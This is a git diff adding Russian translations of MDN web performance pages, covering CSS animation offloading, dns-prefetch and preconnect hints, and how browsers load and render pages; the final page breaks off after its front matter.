+<p>Для того, чтобы выделить анимацию CSS в отдельный процесс, нам нужно убедиться, что изменяемые свойства не запускают этапы reflow/repaint (подробнее здесь: <a href="http://csstriggers.com/">CSS triggers</a>). Если изменяемые CSS свойства не делают этого, то мы можем вынести операции по вычислению стилей в отдельный поток. Наиболее известное свойство - это CSS Transform, которое выводит элемент в отдельный <a href="https://wiki.mozilla.org/Gecko:Overview#Graphics">слой</a>. Если элемент представляет из себя отдельный слой, то вычисление каждого следующего кадра может быть сделано на графическом процессоре (GPU). Это радикально улучшает производительность, особенно на мобильных устройства. Подробности здесь: <a href="https://wiki.mozilla.org/Platform/GFX/OffMainThreadCompositing">OffMainThreadCompositing</a>.</p>
+
+<p>Вы можете отключить выведение анимации в отдельный поток, чтобы посмотреть, как эта особенность влияет на FPS. Для этого в настройках Firefox найдите флаг <code>layers.offmainthreadcomposition.async-animations</code>. И переключите его в <code>false</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/11141/Pic3.png" style="height: 210px; width: 536px;"></p>
+
+<p>После выключения этой опции вы увидите, что FPS при использовании CSS стал таким же, как и при использовании JS.</p>
+
+<h2 id="Итог">Итог</h2>
+
+<p>Браузеры способы оптимизировать рендеринг не только программно, но и аппаратно. В целом, вам нужно стараться использовать CSS transitions/animations везде, где это возможно. Если же ваши анимации действительно сложны - помните, что писать анимацию на JavaScript нужно только с использованием <code>requestAnimationFrame()</code> .</p>
diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html
new file mode 100644
index 0000000000..56002153ce
--- /dev/null
+++ b/files/ru/web/performance/dns-prefetch/index.html
@@ -0,0 +1,70 @@
+---
+title: Использование dns-prefetch
+slug: Web/Performance/dns-prefetch
+tags:
+  - Web Performance
+  - dns-prefetch
+  - preconnect
+translation_of: Web/Performance/dns-prefetch
+---
+<p><span class="seoSummary"><code><strong>DNS-prefetch</strong></code> (предзагрузка DNS) - это попытка определить IP адрес по имени домена до того, как ресурс с этого домена будет фактически запрошен. Это может быть загрузчик файлов, который используется позже или ссылка, по которой, вероятно, перейдёт пользователь. </span></p>
+
+<h2 id="Зачем_использовать_dns-prefetch">Зачем использовать dns-prefetch?</h2>
+
+<p>Бывают случаи, когда в вашем приложении использются ссылки на домены, отличные от основного домена приложения. Например, внутри вашего приложения на "a.com" есть ссылка на домен "b.org". Для того, чтобы пройти по этой ссылке, пользовательский клиент должен сначала выяснить, какой адрес в интернете соответствует доменному имени "b.org". Этот процесс называется <code>DNS resolution.</code> И хотя механизмы кеширования DNS помогают сократить время запросов, DNS Resolution заметно влияет на время ожидания запроса из-за того, что первый клиентский запрос уходит сначала на DNS сервера и дожидается ответа от них. Для приложений, которые открывают соединения ко многим сторонним доменам, влияние DNS Resolution может сильно уменьшить производительность загрузки.</p>
+
+<p><code>dns-prefetch</code> помогает разработчикам замаскировать ожидание DNS resolution. <a href="/en-US/docs/Web/HTML/Element/link">HTML <code>&lt;link&gt;</code> элемент</a> предлагает подобный функционал с помощью атрибута <a href="/en-US/docs/Web/HTML/Attributes/rel"><code>rel</code></a>, значение которого может содержать <code>dns-prefetch</code>. В этом случае, предзагрузка DNS произойдет для домена, указанного в атрибуте <a href="/en-US/docs/Web/HTML/Attributes">href</a>:</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: html notranslate">&lt;link rel="dns-prefetch" href="https://fonts.gstatic.com/" &gt;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+  &lt;head&gt;
+    &lt;link rel="dns-prefetch" href="https://fonts.gstatic.com/"&gt;
+    &lt;!-- and all other head elements --&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;!-- your page content --&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Вы должны помещать <code>dns-prefetch</code> подсказки в элемент <a href="/en-US/docs/Web/HTML/Element/head"><code>&lt;head&gt;</code></a> для каждого уникального стороннего домена, с которого могут быть запрошены ресурсы, но нужно держать некоторые детали в голове.</p>
+
+<h2 id="Лучшие_практики">Лучшие практики</h2>
+
+<p id="Three_things_to_keep_in_mind">Необходимо учитывать 3 вещи:</p>
+
+<p><strong>Во-первых,</strong> <code>dns-prefetch</code> эффективен только для выполнения DNS запросов не сторонние <a href="/en-US/docs/Web/HTTP/CORS">cross-origin</a> домены, поэтому следует избегать этой инструкции при попытке загрузить ресурсы с текущего домена. Связано это с тем, что IP вашего домена уже был определён к тому времени, когда браузер увидел эту инструкцию.</p>
+
+<p><strong>Во-вторых,</strong> существует возможность добавить <code>dns-prefetch</code> (и другие подсказки) как <a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовок</a> с помощью <a href="/en-US/docs/Web/HTTP/Headers/Link">HTTP Link field</a>:</p>
+
+<pre class="brush: unix notranslate">Link: &lt;https://fonts.gstatic.com/&gt;; rel=dns-prefetch</pre>
+
+<p><strong>В третьих, </strong> хорошей практикой считается использование <code>dns-prefetch</code> в паре с  <code>preconnect</code>. В то время, как <code>dns-prefetch</code> срабатывает только при DNS поиске, <code>preconnect</code> устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (<a href="/en-US/docs/Glossary/TLS">TLS</a> рукопожатие), если оно доступно. Комбинирование этих двух инструкций дает возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:</p>
+
+<pre class="brush: html notranslate">&lt;link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin&gt;
+&lt;link rel="dns-prefetch" href="https://fonts.gstatic.com/"&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Заметка: </strong> если приложению необходимо установить соединение со множеством доменов, использование preconnect контрпродуктивно. <code>preconnect</code> лучше использовать для наиболее критических соединений. Для менее важных достаточно использовать <code>&lt;link rel="dns-prefetch"&gt;</code> для сокращения времени DNS запроса.</p>
+</div>
+
+<p>В совместном использовании этих двух техник есть логика. Она заключается в том, что dns-prefetch поддерживается большим количеством браузеров, чем preconnect. Клиенты, которые ещё не поддерживают preconnect, все ещё будут получать бонусы от работы dns-prefetch. Так как эти инструкции относятся к HTML, они очень толерантны к ошибкам. Если какой-то устаревший браузер встречает dns-prefetch, ваш сайт не сломается. Вы просто не получите улучшений от этой инструкции.</p>
+
+<p>Некоторые ресурсы, например, шрифты, загружаются в анонимном режиме. В подобных случаях вы должны указывать <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a> атрибут с инструкцией preconnect. Если вы пропустите её, то браузер выполнит только DNS запрос.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/link">&lt;link&gt;</a></li>
+ <li><a href="/en-US/docs/Web/HTML/Attributes/rel">HTML атрибут: rel</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовки</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Link">HTTP заголовок </a><a href="/en-US/docs/Web/HTTP/Headers/Link" title="The HTTP Link entity-header field provides a means for serialising one or more links in HTTP headers. It is semantically equivalent to the HTML &lt;link> element.">Link</a></li>
+</ul>
diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html
new file mode 100644
index 0000000000..a2e16dd970
--- /dev/null
+++ b/files/ru/web/performance/how_browsers_work/index.html
@@ -0,0 +1,218 @@
+---
+title: Как работают браузеры
+slug: Web/Performance/How_browsers_work
+tags:
+  - Browsers
+  - DNS Lookup
+  - SSL/TLS Handshake
+  - TCP handshake
+  - Критический путь рендеринга
+  - Навигация
+  - Производительность
+  - загрузка страницы
+  - композиция
+  - отрисовка
+  - рендеринг
+translation_of: Web/Performance/How_browsers_work
+---
+<p>Пользователи хотят использовать приложения, в которых загрузка контента происходит быстро, а взаимодействие - плавно. Разработчик должен стараться оптимизировать своё приложение как минимум по этим двум показателям.</p>
+
+<p><span class="seoSummary">Чтобы понять, как улучшить производительность и ощущаемую пользователем производительность (User Perceived Performance, UPP), вам необходимо понимать, как работают браузеры.</span></p>
+
+<h2 id="Обзор">Обзор</h2>
+
+<p>Быстрые приложения дают лучшие ощущения. Пользователи ожидают, что приложение будет грузиться быстро, а взаимодействие с ним будет плавным.</p>
+
+<p>Две главных проблемы в производительности - это проблема скорости сети и проблема однопоточности браузеров.</p>
+
+<p>Сетевые задержи - это главная проблема, которую нужно преодолеть при достижении быстрой загрузки. Чтобы ускорить загрузку разработчик должен посылать запрошенные данные как можно быстрее или, на худой конец, сделать вид, что они отправляются очень быстро. Сетевые задержки - это время, которое требуется для передачи данных от источника к браузеру. Производительность здесь - это то, что делает загрузку страницу как можно более скорой.</p>
+
+<p>В большинстве своём браузеры рассматриваются как однопоточные приложения. Чтобы достичь плавности взаимодействия, разработчик должен обеспечивать производительность во всём, начиная от плавного скроллинга, до быстрой реакции на нажатие экрана. Время рендера - это ключевое понятие. Разработчик должен обеспечить такую работу приложения, чтобы все его задачи могли быть выполнены достаточно быстро. В таком случае процессор будет свободен для обработки пользовательского ввода. Для решения проблемы однопоточности вы должны понять природу браузеров и научиться разгружать основной поток процесса там, где это возможно и допустимо.</p>
+
+<h2 id="Навигация">Навигация</h2>
+
+<p>Навигация - это первый этап при загрузке приложения. Он происходит каждый раз, когда пользователь запрашивает страницу, вводя URL в адресную строку браузера, нажимает на ссылку, отправляет заполненные поля формы и выполняет некоторые другие действия.</p>
+
+<p>Одна из задач разработчика - сократить время, которое требуется приложению, чтобы этап навигации завершился. В идеальных условиях это обычно не занимает много времени, но задержки сети и ширина канала - препятствия, которые приводят к задержкам загрузки приложения.</p>
+
+<h3 id="DNS_запрос">DNS запрос</h3>
+
+<p>Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на <code>https://example.com</code>, браузер грузит HTML-код страницы с IP-адреса <code>93.184.216.34</code>. Если вы никогда ранее не были на этом сайте, произойдет поиск DNS записи.</p>
+
+<p>Ваш браузер запрашивает DNS запись. Как правило, запрос содержит имя сервера, который должен быть преобразован в IP-адрес. Ответ на этот запрос какое-то время будет сохранён в кэше устройства, чтобы его можно было быстро получить при следующем запросе к тому же серверу.</p>
+
+<p>DNS запрос обычно требуется совершить лишь единожды при загрузке страницы. Однако, DNS запросы должны быть выполнены для каждого уникального имени хоста, который запрашивается страницей. Скажем, если ваши шрифты, картинки, скрипты, реклама или счетчики аналитики находятся на разных доменах, DNS запрос будет осуществлен для каждого из них.</p>
+
+<p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p>
+
+<p>Это может быть проблемой с точки зрения производительности, особенно для мобильных сетей. Когда пользователь находится в мобильной сети, каждый DNS запрос должен пройти от мобильного устройства до сотовой вышки, а уже оттуда дойти до авторитетного DNS-сервера. Расстояние и помехи между телефоном, вышкой и сервером имён могут значительно увеличить задержку.</p>
+
+<h3 id="TCP_Рукопожатие_Handshake">TCP Рукопожатие (Handshake)</h3>
+
+<p>В тот момент, когда IP адрес становится известен, браузер начинает установку соединения к серверу с помощью рукопожатия {{glossary('TCP handshake','TCP three-way handshake')}}. Этот механизм спроектирован так, чтобы два устройства, пытающиеся установить связь, могли обменяться параметрами соединения, прежде чем приступать к передаче данных. Чаще всего - через защищённое соединение {{glossary('HTTPS')}}.</p>
+
+<p>Трёхэтапное рукопожатие TCP - это техника, очень часто упоминаемая как "SYN-SYN-ACK" (<code>SYN, SYN-ACK, ACK</code>, если быть точнее), т.к. при установке соединения передаются 3 сообщения. Это означает, что прежде чем установится соединение, браузер должен обменяться ещё тремя сообщениями с сервером.</p>
+
+<h3 id="TLS_Переговоры_Negotiation">TLS Переговоры (Negotiation)</h3>
+
+<p>Для установки безопасных соединений с использованием HTTPS требуется ещё одно рукопожатие. На этот раз - {{glossary('TLS')}} переговоры. На этом шаге определяется, какой шифр будет использоваться для шифрования соединения, удостоверяется надёжность сервера и устанавливается безопасное соединение. Этот шаг также требует несколько дополнительных сообщений, которыми должны обменяться сервер и браузер, прежде чем данные будут посланы.</p>
+
+<p><img alt="The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client." src="https://mdn.mozillademos.org/files/16746/ssl.jpg" style="height: 412px; width: 729px;"></p>
+
+<p>И хотя обеспечение безопасности соединения снижает скорость загруки приложения, безопасное соединение стоит затрат на него, так как в этом случае данные не могут быть дешифрованы третьим лицом.</p>
+
+<p>После обмена восемью сообщениями, браузер, наконец, достигает всех условий, чтобы сделать запрос.</p>
+
+<h2 id="Ответ_на_запрос">Ответ на запрос</h2>
+
+<p>Как только мы установили соединение с веб-сервером, браузер отправляет инициирующий <a href="/en-US/docs/Web/HTTP/Methods">HTTP <code>GET</code> запрос</a> от имени пользователя. Чаще всего запрашивается HTML файл. В момент, когда сервер получает запрос, он начинает ответ с посылки заголовков ответа и содержимым HTML-файла.</p>
+
+<pre class="brush: html notranslate">&lt;!doctype HTML&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;meta charset="UTF-8"/&gt;
+  &lt;title&gt;My simple page&lt;/title&gt;
+  &lt;link rel="stylesheet" src="styles.css"/&gt;
+  &lt;script src="myscript.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1 class="heading"&gt;My Page&lt;/h1&gt;
+  &lt;p&gt;A paragraph with a &lt;a href="https://example.com/about"&gt;link&lt;/a&gt;&lt;/p&gt;
+  &lt;div&gt;
+    &lt;img src="myimage.jpg" alt="image description"/&gt;
+  &lt;/div&gt;
+  &lt;script src="anotherscript.js"&gt;&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Этот ответ содержит в себе первый байт полученных данных. Время до первого байта ({{glossary('Time to First Byte')}}, TTFB) - это время между моментом когда пользователь отправил запрос, скажем, нажав на ссылку, и моментом получения первого пакета данных HTML. Первый пакет обычно содержит 14КБ данных.</p>
+
+<p>В примере выше ответ значительно меньше, чем 14КБ; скрипты и стили, перечисленные в ответе, не будут запрошены, пока браузер не обработает ответ. Процесс обработки ответа - парсинг - мы обсудим отдельно.</p>
+
+<h3 id="TCP_медленный_старт_правило_14kb">TCP медленный старт / правило 14kb</h3>
+
+<p>Объём первого пакета данных - всегда 14KB. Это часть спецификации {{glossary('TCP slow start')}} - алгоритма, который балансирует скорость соединения. Такое правило позволяет постепенно, по мере необходимости, увеличивать размеры передаваемых данных, пока не будет определена максимальная ширина канала.</p>
+
+<p>В алгоритме {{glossary('TCP slow start')}} каждый следующий отправленный сервером пакет увеличивается в размере в два раза. Например, размер второго пакета будет около 28КБ. Размер пакетов будет увеличиваться до тех пор, пока не достигнет какого-то порогового значения или не упрется в проблему переполнения.</p>
+
+<p><img alt="TCP slow start" src="https://mdn.mozillademos.org/files/16754/congestioncontrol.jpg" style="height: 412px; width: 729px;"></p>
+
+<p>Если вы когда-то слышали о правиле 14КБ, то должны понимать, что оптимизация производительности загрузки должна учитывать ограничения этого начального запроса. Медленный старт TCP позволяет плавно ускорять передачу данных так, чтобы избежать проблемы переполнения, когда много данных ожидают отправки, но не отправляются из-за ограничений ширины канала.</p>
+
+<h3 id="Контроль_переполнения">Контроль переполнения</h3>
+
+<p>Любое соединение имеет ограничения, связанные с аппаратной и сетевой системами. Если сервер отправит слишком много пакетов за раз - они могут быть отброшены. Для того, чтобы избежать таких проблем, браузер должен реагировать на получение пакетов и подтверждать, что он получает их. Такой ответ-подтверждение называется Aknowledgements (ACK). Если из-за ограничений соединения браузер не получит данных, то он не пошлёт подтверждений ACK. В этом случае, сервер зарегистрирует, что какие-то пакет не дошли и пошлёт их заново, что приведет к лишней работе сервера и дополнительной нагрузке сети.</p>
+
+<h2 id="Парсинг">Парсинг</h2>
+
+<p>Как только браузер получает первый кусочек данных, он сразу начинает обрабатывать получаемую информацию. Эта обработка называется "Парсинг" ({{glossary('speculative parsing', 'Parsing')}}). Во время парсинга получаемые данные преобразуются в {{glossary('DOM')}} и {{glossary('CSSOM')}}, которые напрямую участвуют в отрисовке.</p>
+
+<p>DOM (Объектная модель документа) - это внутреннее представление разметки HTML. Браузер предоставляет доступ к манипуляции объектами этой модели через разные JavaScript API.</p>
+
+<p>Даже если ответ на запрос больше 14КБ, браузер все равно начинает парсинг данных и пытается отрисовать страницу с теми данными, которые уже доступны. Именно поэтому при оптимизации производительности очень важно включать в инициирующий 14КБ ответ все необходимые для рендера данные - так браузер сможет быстрее начать формирование страницы. Однако, прежде чем что-либо появится на экране, HTML, CSS и JavaScript должны быть обработаны.</p>
+
+<h3 id="Построение_дерева_объектной_модели_документа">Построение дерева объектной модели документа</h3>
+
+<p>Мы уже рассказывали о пяти шагах в <a href="/ru/docs/Web/Performance/Critical_rendering_path">критическом пути рендеринга</a>.</p>
+
+<p>Первый шаг - это обработка разметки HTML и построение дерева DOM. Обработка HTML включает в себя токенизацию и построение дерева. HTML-токены состоят из тегов старта и финиша, а также атрибутов. Если документ сформирован правильно, его обработка прямолинейна и быстра. Парсер (обработчик) преобразует входящие токены в документ и строит дерево документа.</p>
+
+<p>Объектная модель документа (DOM) описывает содержимое документа. Элемент <code><a href="/en-US/docs/Web/HTML/Element/html">&lt;html&gt;</a></code> - это первый тег и корневой элемент дерева документа. Дерево отражает связи и иерархию между разными тегами. Теги, вложенные в другие теги являются детьми. Чем больше существует узлов в дереве, тем сложнее это дерево построить.</p>
+
+<p><img alt="The DOM tree for our sample code, showing all the nodes, including text nodes." src="https://mdn.mozillademos.org/files/16759/DOM.gif" style="height: 689px; width: 754px;"></p>
+
+<p>Когда парсер находит неблокирующие ресурсы (например, изображения), браузер отправляет запрос на загрузку ресурсов, но сам продолжает обработку. Обработка может продолжаться когда обнаружена ссылка на CSS файл, но если обнаружен <code>&lt;script&gt;</code>, особенно если он без параметров <code>async</code> или <code>defer</code> - такой скрипт считается блокирующим и приостанавливает обработку HTML до завершения загрузки скрипта. Несмотря на то, что сканер предзагрузки (о нём ниже) браузера может находить и запрашивать такие скрипты заранее, сложные и объемные скрипты всё ещё могут стать причиной заметных задержек загрузки страницы.</p>
+
+<h3 id="Сканер_предзагрузки">Сканер предзагрузки</h3>
+
+<p>Построение дерева DOM занимает весь поток процесса. Так как это явно узкое место в производительности, был создан особый сканер предзагрузки. Он обрабатывает доступное содержимое документа и запрашивает высокоприоритетные ресурсы (CSS, JavaScript и шрифты). Благодаря этому сканеру нам не нужно ждать, пока парсер дойдет до конкретного места, где вызывается ресурс. Он запрашивает и получает эти данные заранее, в фоновом режиме, так что когда основной поток HTML-парсера доходит до запроса ресурса, высока вероятность, что ресурс уже запрошен или находится в процессе загрузки. Оптимизации, которые даёт этот сканер, уменьшают время блокирования рендера.</p>
+
+<pre class="brush:html notranslate">&lt;link rel="stylesheet" src="styles.css"/&gt;
+&lt;script src="myscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+&lt;img src="myimage.jpg" alt="image description"/&gt;
+&lt;script src="anotherscript.js" <strong>async</strong>&gt;&lt;/script&gt;
+</pre>
+
+<p>В примере выше основной поток обрабатывает HTML и CSS. В то же время, сканер предзагрузки находит скрипты и изображение и начинает их загрузку. Чтобы сделать скрипт неблокирующим, добавьте атрибут <code>async</code> или, в случае, если порядок загрузки скриптов не важен, атрибут <code>defer</code>.</p>
+
+<div class="blockIndicator note">
+<p>Ожидание получения CSS не блокирует парсинг HTML, но он блокирует JavaScript, потому что JavaScript часто используется для выборки узлов документа по CSS-селекторам.</p>
+</div>
+
+<h3 id="Построение_модели_стилей_CSSOM">Построение модели стилей CSSOM</h3>
+
+<p>Второй шаг при прохождении критического пути рендеринга - это обработка CSS и построение CSSOM дерева. CSSOM (объектная модель CSS) похожа на DOM. И DOM, и CSSOM - это деревья. Они являются независимыми структурами данных. Браузер преобразует CSS файлы в карту стилей, которую он может понять и с которой может работать. Браузер считывает каждый набор правил в CSS, создает дерево узлов с родителями, детьми и соседями, основываясь на CSS селекторах.</p>
+
+<p>Как и в HTML, браузер должен преобразовать полученные правила CSS во что-то, с чем он может работать. Таким образом, весь этот процесс - это повторение формирования DOM, только для CSS.</p>
+
+<p>CSSOM дерево включает в себя стили пользовательского агента - это стили, которые браузер вставляет по умолчанию. Браузер начинает построение модели с наиболее общих правил для каждого узла, постепенно применяя более специфичные правила. Другими словами, он применяет правила каскадно. Отсюда и название CSS - Cascading Style Sheets.</p>
+
+<p>Построение CSSOM происходит очень быстро и не отображается отдельным цветом в средствах разработчика. Оно настолько быстрое, что чаще всего включается в показатель "Повторное вычисление стилей (Recalculate Styles)" в средствах разработчика. Этот показатель показывает общее время обработки стилей - обработку CSS, построение CSSOM и рекурсивное вычисление стилей. С точки зрения оптимизации производительности здесь нечего делать, так как построение CSSOM, в целом, занимает даже меньше времени, чем DNS запрос.</p>
+
+<h3 id="Остальные_процессы">Остальные процессы</h3>
+
+<h4 id="Компиляция_JavaScript">Компиляция JavaScript</h4>
+
+<p>Как CSS обработан и CSSOM создан, другие ресурсы, например, JavaScript-файлы, продолжают загружаться (спасибо сканеру предзагрузки). JavaScript по окончании загрузки должен быть интерпретирован, скомпилирован, обработан и исполнен. Скрипты преобразовываются в абстрактное синтаксическое дерево (AST). Некоторые браузеры берут {{glossary('Abstract Syntax Tree')}} и передают его в интерпретатор, который преобразует дерево в байт-код. Байткод исполняется в основном потоке. Весь этот процесс называется компиляцией.</p>
+
+<h4 id="Построение_дерева_доступности">Построение дерева доступности</h4>
+
+<p>Браузер также строит дерево <a href="/en-US/docs/Learn/Accessibility">доступности</a>, которое используется устройствами-помощниками для понимания и интерпретирования контента. Объектная модель доступности (accessibility object model, AOM) - это семантическая версия DOM. Браузер обновляет AOM в тот же момент, когда обновляется DOM. В то же время, дерево доступности не может быть изменено вспомогательными технологиями.</p>
+
+<p>Пока модель AOM не построена, содержимое страницы недоступно для <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Screen_Reader_Implementors_Guide">голосовых помощников и считывателей экрана</a>.</p>
+
+<h2 id="Рендеринг">Рендеринг</h2>
+
+<p>Этапы рендеринга включают в себя стилизацию, компоновку (layout), отрисовку (paint) и, в некоторых случаях, композицию (composition). CSSOM и DOM деревья, созданные на предыдущем этапе комбинируются в дерево рендера, которое затем используется для расчёта положения каждого видимого элемента. После этого элементы будут отрисованы на экране. В некоторых случаях содержимое может быть вынесено на отдельные слои и совмещено (composition) - такой подход увеличивает производительность, позволяя отрисовывать содержимое экрана на графическом процессоре вместо ЦПУ. Это освобождает основной поток.</p>
+
+<h3 id="Стилизация">Стилизация</h3>
+
+<p>Третий шаг в критическом пути рендеринга - это комбинирование DOM и CSSOM в дерево рендеринга. Конструирование этого дерева начинается с прохода всего DOM-дерева от корня, с выявлением каждого видимого узла.</p>
+
+<p>Элементы, которые не должны быть показаны, например, <code>&lt;head&gt;</code>, а так же их дети или любые элементы с <code>display:none</code>, такие как <code>script { display: none; }</code>, не будут включены в дерево рендера, так как они не должны быть отрисованы. Узлы с правилом <code>visibility: hidden</code> включены в дерево рендера, так как они все равно занимают своё место. Так как мы не указали никаких специальных правил для перезаписи стилей агента по умолчанию, узел <code>script</code> в примере выше также не будет включен в дерево рендера.</p>
+
+<p>Каждый видимый узел имеет свои правила из CSSOM. Дерево рендера содержит все видимые узлы с их содержимым и вычисленными стилями. Стили определяются путем применения всех подходящих правил с использованием <a href="/en-US/docs/Web/CSS/Cascade">CSS каскада.</a></p>
+
+<h3 id="Компоновка_Layout">Компоновка (Layout)</h3>
+
+<p>Четвёртый шаг на критическом пути рендеринга - это запуск компоновки (layout) элементов дерева рендера. На этом шаге вычисляется геометрия каждого узла, то есть ширина, высота, положение элементов. Reflow (перекомпоновка) - это любой последующий процесс определения размеров и позиции для любой из частей целого документа.</p>
+
+<p>Как только дерево рендера построено - начинается layout. Дерево несёт в себе информацию о том, какие узлы должны быть отрисованы (даже если они невидимы), и какие стили должны быть применены, но в дереве нет никакой информации о размерах и позиции элементов. Чтобы определить эти значения, браузер начинает обход дерева.</p>
+
+<p>На веб-странице практически все элементы прямоугольны (box). Разные устройства и настройки подразумевают бесчисленное количество разных размеров видимой области. На начальной фазе браузер, учитывая размер видимой области, определяет какие размеры разных элементов должны быть на экране. Использует размер видимой области как базис, процесс начинает вычисление с элемента <code>body</code>, затем переходит к его потомкам, вычисляет размеры каждого элемента и резервирует место для тех элементов, размеры которых он ещё не знает (например, изображения).</p>
+
+<p>Момент, когда позиция и размеры узлов вычислены, называется layout. Последующие вычисления позиций и размеров называются reflow. В нашем примере предполагаемый начальный layout происходит перед тем, как изображение получено. Так как мы не задавали размер изображения, в момент получения изображения произойдет reflow.</p>
+
+<h3 id="Отрисовка_Paint">Отрисовка (Paint)</h3>
+
+<p>Последний шаг критического пути рендеринга - это отрисовка каждого отдельного узла на экране. Момент, когда это происходит впервые, называется <a href="/en-US/docs/Glossary/first_meaningful_paint">first meaningful paint</a> (первая значащая отрисовка). Во время фазы отрисовки или растеризации, браузер конвертирует каждый контейнер box в настоящие пиксели на экране (напомним, что данные контейнеров формируются на этапе layout). Отрисовка подразумевает рисование каждой визуальной частицы элемента на экране (текст, цвета, границы, тени) и рисование заменяемых элементов (картинки, кнопки). Браузер должен выполнять это быстро.</p>
+
+<p>Чтобы обеспечить плавную прокрутку и анимацию, отрисовка каждого элемента занимает весь основной поток. Сюда включается вычисление стилей, повторное вычисление стилей и отрисовка. Все эти этапы должны выполняться не дольше 16.67 мс. (1000мс. / 60 кадров в секунду). При разрешении 2048х1536 экран iPad содержит 3.145.000 пикселей, которые должны быть отрисованы. Это много! Для того, чтобы сделать инициирующую и повторную отрисовки быстрее, можно разбить весь процесс на несколько слоёв. Когда это случается - становится необходима композиция.</p>
+
+<p>Отрисовка может разбить элементы в дереве рендера на слои. Для того, чтобы ускорить их рендер, браузер может перенести отрисовку разных слоев на GPU (вместо основного потока CPU). Для переноса вычислений отрисовки на GPU вы можете использовать некоторые специальные HTML теги, например <code><a href="/en-US/docs/Web/HTML/Element/video">&lt;video&gt;</a></code> и <code><a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a></code>; а также CSS-свойства <a href="/en-US/docs/Web/CSS/opacity"><code>opacity</code></a>, <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code> и <code><a href="/en-US/docs/Web/CSS/will-change">will-change</a></code>. Узлы, созданные таким образом, будут отрисованы на их собственном слое, вместе с их потомками, если только потомки сами по себе не будут вынесены в отдельные слои.</p>
+
+<p>Слои улучшают производительность. Но, с точки зрения управления памяти, они неэффективны. Поэтому старайтесь не использовать их там, где в нет необходимости.</p>
+
+<h3 id="Композиция_Compositing">Композиция (Compositing)</h3>
+
+<p>Когда разделы документа отрисованы на разных слоях, а один слой находится над другим или перекрывает его, становится необходима композиция. Этот шаг позволяет браузеру гарантировать, что каждый слой отрисован на экране в правильном порядке, а содержимое отображается корректно.</p>
+
+<p>При догрузке ранее запрошенных ресурсов (например, изображений) может потребоваться перерассчитать размеры и положение элементов относительно друг друга. Этот перерасчёт - reflow - запускает перерисовку (repaint) и перекомпозицию (re-composite). Если мы заранее определили размер изображения, перерасчёт не будет необходим и в этом случае только тот слой, который должен быть перерисован - будет перерисован. Но если мы не определили размер изображения заранее, то браузер, после получения ответа от сервера, будет вынужден отмотать процесс рендеринга обратно к шагу компоновки (layout) и начать процесс отрисовки ещё раз.</p>
+
+<h2 id="Интерактивность">Интерактивность</h2>
+
+<p>Можно было бы подумать, что как только основной поток завершает отрисовку страницы - "всё готово". Это не всегда так. Если среди загружаемых ресурсов есть JavaScript, загрузка которого была корректно отложена, а запуск которого происходит только после события <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onload">onload</a></code>, основной поток начинает обработку скриптов. Во время этой обработки браузер не может обрабатывать события прокрутки, нажатий и др.</p>
+
+<p>{{glossary('Time to Interactive')}} (TTI, время до интерактивности) - это показатель того, как много времени проходит между самым первым сетевым запросом и моментом, когда страница становится интерактивной. В хронологии этот этап следует сразу за {{glossary('First Contentful Paint')}}. Интерактивностью называется показатель того, что страница отреагировала на действие пользователя за время в 50мс. Если процессор занят обработкой, компиляцией и выполнением JavaScript, то браузер не может отреагировать достаточно быстро, а значит страница считается не интерактивной.</p>
+
+<p>В нашем примере, даже несмотря на то, что изображение загрузилось быстро, скрипт <code>anotherscript.js</code>, размер которого достигает 2МБ, загружается долго. В этом случае пользователь увидит страницу очень быстро, но не будет способен взаимодействовать с ней, пока скрипт не будет загружен, обработан и исполнен. Это плохая практика. Старайтесь избегать полной загрузки процесса.</p>
+
+<p><img alt="The main thread is occupied by the downloading, parsing and execution of a  javascript file - over a fast connection" src="https://mdn.mozillademos.org/files/16760/visa_network.png" style="height: 699px; width: 1200px;"></p>
+
+<p>В примере выше загрузка содержимого DOM заняла около 1.5 секунд. Все это время основной поток процесса был полностью загружен и не был способен обработать пользовательский ввод.</p>
+
+<h2 id="См._также">См. также:</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/Performance">Производительность Web</a></li>
+</ul>
diff --git a/files/ru/web/performance/how_long_is_too_long/index.html b/files/ru/web/performance/how_long_is_too_long/index.html
new file mode 100644
index 0000000000..1812385647
--- /dev/null
+++ b/files/ru/web/performance/how_long_is_too_long/index.html
@@ -0,0 +1,34 @@
+---
+title: 'Тайминги производительности: как долго - долго?'
+slug: Web/Performance/How_long_is_too_long
+tags:
+  - Performance
+  - Web Performance
